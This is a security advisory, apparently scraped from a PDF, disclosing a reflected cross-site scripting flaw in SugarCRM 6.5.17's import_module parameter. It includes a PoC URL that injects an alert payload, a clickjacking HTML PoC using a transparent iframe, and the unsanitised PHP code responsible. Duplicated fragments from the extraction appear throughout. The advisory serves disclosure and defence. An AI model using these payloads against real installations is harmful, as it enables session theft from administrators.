Security Research Advisory SugarCRM Cross-Site Scripting Vulnerability

Size: px

Start display at page:

Download "Security Research Advisory SugarCRM 6.5.17 Cross-Site Scripting Vulnerability"

Brent Warren
8 years ago
Views:

1 Security Research Advisory SugarCRM Cross-Site Scripting Vulnerability

2 Table of Contents SUMMARY 3 VULNERABILITY DETAILS 3 TECHNICAL DETAILS 4 LEGAL NOTICES 6

3 Cross Site Scripting Advisory Number SN Severity Software Version Accessibility CVE Author(s) L SugarCRM Remote n/a Vendor URL Advisory URL - Eros Lever Filippo Roncari Primo Del Gobbo Date Details 04/09/2014 Vendor disclosure 05/09/2014 Vendor acknowledgment 17/09/2014 Patch release 01/10/2014 Public disclosure Summary SugarCRM is a software company that produces popular web application Sugar also known as SugarCRM. It is a customer relationship management (CRM) system that is available in both open-source and Commercial open-source applications. Sugar's features include sales-force automation, marketing campaigns, customer support, collaboration, Mobile CRM, Social CRM and reporting. Vulnerability Details Due to a missing sanitization of the import_module parameter the SugarCRM is vulnerable to Reflected Cross-Site Scripting (XSS). In order to trigger the vulnerability an administrator user must click on a crafted malicious link and subsequently press the Download Import File Template button. This can lead to session stealing and account violation. It could be possible to use UI Redressing (Clickjacking) techniques in order to trick a user into clicking the link with embedded XSS. The vulnerability can be used only against administrator users. The issue has been identified on SugarCRM but we cannot exclude other versions are vulnerable.

a software company that produces popular web application Sugar also known as SugarCRM.

4 Technical Details Description In order to exploit the vulnerability a malicious user has to force an administrator to surf the following PoC URL. PoC URL: e=users%26apos%3b%3balert(%22xss%22)%2f%2f&return_module=users&return_act ion=index After that, the administrator must click on Download Import File Template to trigger the injected javascript, as you can notice from the following HTML code. HTML code: <a href="javascript: void(0);" onclick="window.location.href='index.php?entrypoint=export&module=users'; alert("xss")//&action=index&all=true&sample=true&test=test'">download Import File Template</a> It is also possible to use UI Redressing techniques to mislead the victim administrator and force him clicking the Download Import File Template link unconsciously. The following HTML PoC can be used to reproduce the Clickjacking attack. HTML PoC: <html> <body> <style> iframe { width:800px; height:800px; position:absolute; top:0; left:0; filter:alpha(opacity=0); /* If IE8 or earlier */ opacity:0.0; /* Change to see the magic */ } </style> <img src="image.jpg" width="150px"> <iframe src=" port_module=users%26apos%3b%3balert(%22xss%22)%2f%2f&return_module=u sers&return_action=index"></iframe> <a href="#" style="position:absolute;left:25px;top:268px;zindex:-1">skip this Ad ></a> </body> </html>

to trigger the injected javascript, as you can notice from the following HTML code. HTML code: <a href="javascript: void(0);" onclick="window.location.href='index.php?

5 Vulnerable Code File: sugar/modules/import/views/view.step2.php Function: display() Line: $this->ss->assign("import_module", $_REQUEST['import_module']); 75 $this->ss->assign("header", $app_strings['lbl_import']." ". $mod_strings['lbl_module_name']); 76 $this->ss->assign("javascript", $this->_getjs()); 77 $this->ss->assign("sample_url", "<a href=\"javascript: void(0);\" onclick=\"window.location.href='index.php?entrypoint=export&module=".$_reque ST['import_module']."&action=index&all=true&sample=true'\" >".$mod_strings['lbl_example_file']."</a>"); $displaybackbttn = isset($_request['action']) && $_REQUEST['action'] == 'Step2' && isset($_request['current_step']) && $_REQUEST['current_step']!=='2'? TRUE : FALSE; //bug $this->ss->assign("displaybackbttn", $displaybackbttn); // get user defined import maps

$$mod_strings['lbl_module_name']); 76 $this->ss->assign("javascript", $this->_getjs()); 77 $this->ss->assign("sample_url", "<a href=\"javascript: void(0);\" onclick=\"window.location.href='index.php?$

6 Legal Notices Secure Network ( is an information security company, which provides consulting and training services, and engages in security research and development. We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues. This advisory is copyright 2014 Secure Network S.r.l. Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. It may not be edited in any way without the express consent of Secure Network S.r.l. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to Secure Network. The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible. info@securenetwork.it phone

It may not be edited in any way without the express consent of Secure Network S.r.l.

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass Table of Contents SUMMARY 3 VULNERABILITY DETAILS 3 TECHNICAL DETAILS 4 LEGAL NOTICES 7 Active Content Filtering Bypass Advisory